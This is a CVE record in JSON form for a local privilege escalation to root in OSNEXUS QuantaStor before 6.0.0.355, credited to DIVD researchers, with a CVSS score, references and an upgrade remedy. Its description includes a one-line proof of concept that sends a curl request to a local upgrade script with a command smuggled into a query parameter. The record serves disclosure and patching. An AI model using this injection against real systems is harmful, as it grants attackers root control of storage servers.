{"dataType":"CVE_RECORD","dataVersion":"5.1","cveMetadata":{"cveId":"CVE-2021-42082","assignerOrgId":"b87402ff-ae37-4194-9dae-31abdbd6f217","state":"PUBLISHED","assignerShortName":"DIVD","dateReserved":"2021-10-07T17:12:57.678Z","datePublished":"2023-07-10T06:29:47.984Z","dateUpdated":"2025-09-22T06:40:10.543Z"},"containers":{"cna":{"affected":[{"collectionURL":"https://www.osnexus.com/downloads","defaultStatus":"unknown","platforms":["Windows","Linux"],"product":"QuantaStor","vendor":"OSNEXUS","versions":[{"lessThan":"6.0.0.355","status":"affected","version":"0","versionType":"semver"}]}],"credits":[{"lang":"en","type":"finder","user":"00000000-0000-4000-9000-000000000000","value":"Wietse Boonstra (DIVD)"},{"lang":"en","type":"analyst","value":"Frank Breedijk (DIVD)"},{"lang":"en","type":"analyst","value":"Victor Pasman (DIVD)"},{"lang":"en","type":"analyst","value":"Victor Gevers (DIVD)"},{"lang":"en","type":"analyst","value":"Max van der Horst (DIVD)"},{"lang":"en","type":"analyst","value":"Célistine Oosting (DIVD)"}],"descriptions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"Local users are able to execute scripts under root privileges.<br><br>POC<br><br>On the local host run the following command:<br><br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&amp;a=;`whoami`'</span><br>"}],"value":"Local users are able to execute scripts under root privileges.\n\nPOC\n\nOn the local host run the following command:\n\ncurl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'"}],"metrics":[{"cvssV3_1":{"attackComplexity":"LOW","attackVector":"LOCAL","availabilityImpact":"HIGH","baseScore":7.8,"baseSeverity":"HIGH","confidentialityImpact":"HIGH","integrityImpact":"HIGH","privilegesRequired":"LOW","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","version":"3.1"},"format":"CVSS","scenarios":[{"lang":"en","value":"GENERAL"}]}],"problemTypes":[{"descriptions":[{"cweId":"CWE-269","description":"CWE-269 Improper Privilege Management","lang":"en","type":"CWE"}]}],"providerMetadata":{"orgId":"b87402ff-ae37-4194-9dae-31abdbd6f217","shortName":"DIVD","dateUpdated":"2025-09-22T06:40:10.543Z"},"references":[{"tags":["third-party-advisory","technical-description","exploit"],"url":"https://www.wbsec.nl/osnexus"},{"tags":["third-party-advisory"],"url":"https://csirt.divd.nl/DIVD-2021-00020/"},{"tags":["product"],"url":"https://www.osnexus.com/products/software-defined-storage"},{"tags":["third-party-advisory","technical-description","exploit"],"url":"https://csirt.divd.nl/CVE-2021-42082"}],"solutions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"Upgrade to the latest version of OSNEXUS QuantaStor."}],"value":"Upgrade to the latest version of OSNEXUS QuantaStor."}],"source":{"discovery":"INTERNAL"},"title":"Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355","x_generator":{"engine":"Vulnogram 0.1.0-dev"}},"adp":[{"providerMetadata":{"orgId":"af854a3a-2127-422b-91ae-364da2661108","shortName":"CVE","dateUpdated":"2024-08-04T03:22:25.967Z"},"title":"CVE Program Container","references":[{"url":"https://www.wbsec.nl/osnexus","tags":["third-party-advisory","x_transferred"]},{"url":"https://www.divd.nl/DIVD-2021-00020","tags":["third-party-advisory","x_transferred"]},{"url":"https://www.osnexus.com/products/software-defined-storage","tags":["product","x_transferred"]},{"url":"https://csirt.divd.nl/CVE-2021-42082","tags":["third-party-advisory","x_transferred"]}]},{"metrics":[{"other":{"type":"ssvc","content":{"timestamp":"2024-11-12T14:16:04.030763Z","id":"CVE-2021-42082","options":[{"Exploitation":"none"},{"Automatable":"no"},{"Technical Impact":"total"}],"role":"CISA Coordinator","version":"2.0.3"}}}],"title":"CISA ADP Vulnrichment","providerMetadata":{"orgId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","shortName":"CISA-ADP","dateUpdated":"2024-11-12T14:16:12.694Z"}}]}}